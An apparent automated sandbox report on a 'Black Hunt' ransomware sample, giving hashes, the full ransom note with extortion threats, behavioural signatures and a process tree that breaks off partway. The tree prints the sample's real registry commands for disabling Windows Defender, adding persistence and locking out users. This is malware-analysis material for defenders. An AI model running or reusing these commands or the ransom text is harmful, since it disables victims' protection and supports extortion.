Analysis

  • max time kernel
    122s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    18/01/2024, 22:32

General

  • Target

    11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe

  • Size

    707KB

  • MD5

    f51f61f35d5627062c69f4dd39b2cd3f

  • SHA1

    0308a1ae57d965c3a3f82e2d14661c9afbb6f26b

  • SHA256

    11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530

  • SHA512

    28cc1886573cfd753c57655622aaa6c200597878af0d9c52784d074035958256d66a53707c7700e59f4543d6fe9d35707d01a37dfcf214df44537f50d65ec4d1

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1K8Mvnh:6uaTmkZJ+naie5OTamgEoKxLWxSh

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> cTcuBcBkKIpYe13n </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (2885) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 8 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe
    "C:\Users\Admin\AppData\Local\Temp\11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2052
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
        PID:932
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
          3⤵
            PID:2424
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
          2⤵
            PID:1788
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
              3⤵
                PID:2488
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
              2⤵
                PID:2280
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
                  3⤵
                    PID:2416
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                  2⤵
                    PID:2524
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                      3⤵
                      • Modifies registry class
                      PID:760
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                    2⤵
                      PID:2628
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                        3⤵
                        • Adds Run key to start application
                        PID:1764
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                      2⤵
                        PID:3040
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                          3⤵
                            PID:920
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                          2⤵
                            PID:2556
                            • C:\Windows\system32\reg.exe
                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                              3⤵
                                PID:2920
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                              2⤵
                                PID:2712
                                • C:\Windows\system32\reg.exe
                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                  3⤵
                                    PID:1808
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                                  2⤵
                                    PID:2744
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                                      3⤵
                                        PID:2176
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                      2⤵
                                        PID:2868
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                          3⤵
                                            PID:3004
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                          2⤵
                                            PID:2600
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                              3⤵
                                                PID:2656
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                              2⤵
                                                PID:2552
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                                  3⤵
                                                    PID:2992
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                  2⤵
                                                    PID:2768
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                      3⤵
                                                        PID:2380
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:2752
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                          3⤵
                                                            PID:1220
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:2764
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                              3⤵
                                                                PID:560
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:2856
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                                  3⤵
                                                                    PID:1512
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:2620
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                      3⤵
                                                                        PID:3068
                                                                    • C:\Windows\System32\cmd.exe
